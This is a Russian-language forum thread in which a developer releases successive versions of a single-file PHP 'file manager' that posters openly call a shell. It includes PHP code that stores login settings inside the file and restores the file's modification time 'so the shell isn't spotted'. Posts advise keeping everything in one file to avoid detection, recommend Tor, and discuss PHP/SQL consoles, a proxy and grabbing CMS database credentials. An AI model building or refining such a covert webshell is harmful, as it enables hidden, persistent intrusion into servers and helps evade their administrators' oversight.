Файловый менеджер — всё в одном файле

Ну неплохо бы авторизацию по паролю. Не увидел такой функции по скриншоту. Она имеется?
Авторизация с версии 0.3 есть, но она по-умолчанию выключена.
Настройки доступа и авторизации хранить в куках глупо, они написаны внутри менеджера.
Внутри переменную в строке 8 «$autorize = 0;» поменять на true или 1, ниже логин и пароль по-умолчанию тоже сменить не забудь.
 
Последнее редактирование:
Я вот тут подумал - а стоит ли прикрутить такую фишку как доступ по юзер-агенту и/или IP.

Т.е. пишешь в настройках менеджера юзер-агент или его фрагмент, а потом выставляешь его в браузере и коннектишься на менеджер, если совпадает - то пропускает.
ну в общем своего рода доп. фильтрация.
 
Я вот тут подумал - а стоит ли прикрутить такую фишку как доступ по юзер-агенту и/или IP.

Т.е. пишешь в настройках менеджера юзер-агент или его фрагмент, а потом выставляешь его в браузере и коннектишься на менеджер, если совпадает - то пропускает.
ну в общем своего рода доп. фильтрация.
Всё это нужно и важно. И нужно делать. Но как интегрировать это с удобством, чтобы не править вручную сам файл менеджера?
Для этого нужно все настройки доступа хранить исключительно на сервере, а не на клиенте.
В отдельном файле — нельзя, шелл будет замечен при создании других файлов.
Значит, хранить надо в этом же.
В аналоге от Для просмотра ссылки Войди или Зарегистрируйся все настройки хранились в закомменченой 2 строчке в начале файла.
Считываются они нормально, а вот записываются...
В общем глючит всё, пароль как-то не так сохраняется, а язык вообще неправильно отображается.
Этот вариант вряд ли подходит, ибо менеджер грузит в память сам себя для поиска конфигов, двойной расход памяти.
Грузит каждый раз при старте.
Надо как-то записывать более надежно, пока не придумал как.
 
Последнее редактирование:
А если делать на основе Для просмотра ссылки Войди или Зарегистрируйся и ставить какую-нибудь метку вокруг массива?
PHP:
<?php

/* Config */
$config = [
  'a' => 10,
  'b' => "20",
  'c' => ['30', 40, '50']
];
/* Config */


function save($file, $data)
{
    $marker = "\n/* Config */";
  
    $parts = explode($marker, file_get_contents($file), 3);
  
    $parts[1] = $marker . "\n\$config = " . var_export($data, true) . ";" . $marker;
  
    file_put_contents($file, implode($parts));
}
 
А если делать на основе Для просмотра ссылки Войди или Зарегистрируйся и ставить какую-нибудь метку вокруг массива?
PHP:
<?php

/* Config */
$config = [
  'a' => 10,
  'b' => "20",
  'c' => ['30', 40, '50']
];
/* Config */


function save($file, $data)
{
    $marker = "\n/* Config */";

    $parts = explode($marker, file_get_contents($file), 3);

    $parts[1] = $marker . "\n\$config = " . var_export($data, true) . ";" . $marker;

    file_put_contents($file, implode($parts));
}
Вариант хороший, но я сделал по-другому.

Вот примерный код, кому интересно (форму я опустил), сделано на основе регулярки:
PHP:
//Делаем конфиги в 1 строку, чтоб легче найти и обработать:
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30"}';
$auth = json_decode($authorization,true);
//Сохранение конфигов:
if (isset($_POST['fm_login'])) {
     if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
     $fm_login = json_encode($_POST['fm_login']);
     $fgc = file_get_contents('fm.php');
     $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
     if (!empty($matches[1])) {
       $filemtime = filemtime(__FILE__);
       $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
       if (file_put_contents(__FILE__, $replace)) {
         $msg .= __('File updated');
         if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
         if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
         $auth = $_POST['fm_login'];
       }
       else $msg .= __('Error occurred');
       touch(__FILE__,$filemtime);
     }
   }
Сейчас тестирую. Если всё получится, сегодня будет обновление.
В конечный результат, как видите, добавлено:
1. Проверки, сменился ли логин и пароль — и извещение об этом пользователя, вдруг сменил пароль и забыл записать (напомню, при смене логина/пароля авторизация слетит);
2. Подмена времени правки файла, чтобы шелл не палился;
3. Подмена авторизационного массива на массив из поста формы — чтобы в форме сразу был виден результат.

// PS Всё как бы работает, остались пару переводов.
 
Последнее редактирование:
Сегодня вышла новая версия файлового менеджера, 0.8

— Реализовано сохранение авторизации внутри самого файлового менеджера

Особенности:
— После пересохранения файла изначальная его дата модификации восстанавливается назад;
— При смене в форме логина или пароля происходит разлогинивание и при включенной авторизации файловый менеджер становится недоступен. Поэтому сразу после смены логина или пароля пользователю выводится подсказка — вдруг не успел записать или запомнить;
fm_authorization.png
Ссылка на релиз:
Скрытое содержимое доступно для зарегистрированных пользователей!


Планы:
1. Улучшить прокси, чтобы можно было «ходить» по страницам сайтов. Сейчас более-менее корректно работает только на главной, но и то не всегда. Собственно, это пока и не прокси, а проверка в пару строк — работает ли сайт.
2. Подсказки частых запросов в PHP и MySQL консоли. Шикарно было бы сделать конструктор запросов MySQL с подсказками баз и полей.
3. Сортировки полей и групповые операции с файлами и папками.
4. Требуются переводы на китайский и испанский языки, так как они очень распространённые.

Отзывы по предложениям.
1. Ранее высказанное предложение @Minor
стоит ли прикрутить такую фишку как доступ по юзер-агенту и/или IP
По зрелому размышлению, не подходит: доступ должен храниться внутри менеджера. Нужен ли кому-то такой «подарок», как записанный внутри шелла его браузер и айпишник? Поскольку куки хранятся и на сервере тоже, в куках тоже лучше не запоминать.
Конечно, можно зашифровать md5 и т.д., но этот вариант тоже кажется мне стрёмным, т.к. если на сервере ведутся логи посещений, то написать небольшой скриптик перебора не составит труда. Привязка к браузеру и айпишнеку также теряет актуальность при использовании Тор-проекта, который настоятельно рекомендуется использовать, если пользуетесь PHP-шеллом.
У кого другое мнение, может сделать другую ветку и развивать самостоятельно, лицензия позволяет.
2. «Подхватывать» настройки БД популярных CMS
сделать бы еще чтоб цеплял настройки бд под популярные cms самостоятельно
Хороший вариант. Но я «популярными CMS» не пользуюсь. Если можете, напишите — для кого-то будет полезная функция.
 
Последнее редактирование:
Новая версия файлового менеджера, 0.9

— Реализованы шаблоны запросов PHP и SQL с сохранением внутри файлового менеджера.

Шаблоны для запросов PHP
fm_templates_php.png
Шаблоны для запросов SQL
fm_templates_sql.png
Сохранение шаблонов запросов в «Настройках»
fm_templates_config.png

Дополнительно:
— Поправлены чекбоксы конфигов, добавлены метки к названиям, чтобы проще в них попадать;
— В консолях PHP и SQL добавлены быстрые переключения;
— В настройки авторизации добавлена возможность вставки произвольного кода, который инклюдится в страницу перед заключающим «body» Для вставки стороннего яваскрипта и любых библиотек. Да, вы можете вставить jQuery, если захотите. Для примера вставлен код крутого стороннего редактора для подсветки кода. Теперь «по-умолчанию» при редактировании файлов есть подсветка кода для разных языков!

Ссылка на релиз:
Скрытое содержимое доступно для зарегистрированных пользователей!
 
Последнее редактирование:
Новая версия файлового менеджера, юбилейный релиз №1.0!

1. В сервисе минипрокси теперь можно ходить по ссылкам
2. В файловом менеджере теперь список файлов можно сохранять в xls формате

Теперь подробности.

1. На прокси убито немало времени, чтобы заставить его корректно подгружать стили и скрипты, а ссылки на странице менять так, чтобы всё просировалось через него же. Получилось довольно просто и код настолько понятен, что, кажется, не нуждается в коментариях.

Недоработки:
— Иногда проблемы с кодировкой, особенно почему-то с Гуглом;
— Запросы передаются только через Гет, так что формы работать не будут и авторизваться не удастся. Всё-таки это больше чекер пока, но мы работаем;)

Пример загрузки нулледа через прокси:
fm_proxy_nulled_cc.png

2. Честно говоря, с Экселем — это я делал «для себя» онлайн редактирование и скачивание таблиц.
А и здесь может пригодиться, мгновенно создавать список файлов, да ещё со временем доступа.
Потом в табличном процессоре его можно очень просто обработать и, например, переслать заказчику.
Пример списка файлов, экспортированного в Эксель:
fm_xls_export.png

Ссылка на релиз:
Скрытое содержимое доступно для зарегистрированных пользователей!


Этот релиз — последний, объясню почему.

Проект вышел из рамок файлового менеджера и превратился в набор инструменов.
Поэтому дальнейшее развитие будет под новым именем — «PHP менеджер».
Для проекта будет сделан логотип и сайт с минифорумом, где будут собираться пожелания и оказываться поддержка пользователям.
Ещё хочу сделать что-то типа «сборки», когда пользователи сами будут выбирать языки.
Писать переводы на нескольких языках мне уже тяжело: добавил слово — редактируй в 4 местах.
А что, когда будет 20? При этом конкретному человеку нужен один, а два за глаза.
Хочу убрать из кода переводы и сделать конструктор, подгружая их с основного сайта по необходимости.
И желательно сделать сервис добавления переводов для сообщества, чтобы мне не тянуть мне это в одну каску.
Уже больше не разработкой занимаешься, а переводами, чесслово.
Поэтому пока разработка приостанавливается до июня, к этому времени постараюсь большинство задуманного внедрить.

А пока жду от пользователей предложений по дальнейшему развитию.
Делитесь в теме, как используете инструмент и чего не хватает.
 
Последнее редактирование:
А почему бы не сделать распаковку архивов?Очень нужная весчь ;)
 
А почему бы не сделать распаковку архивов?Очень нужная весчь ;)
Это действительно было в планах, но пока не получилось.
Ещё важная функция — сохранение и восстановление БД, часто нужно.
Написал здесь, чтобы не забыть.

Проксик пробовали уже?
 
Назад
Сверху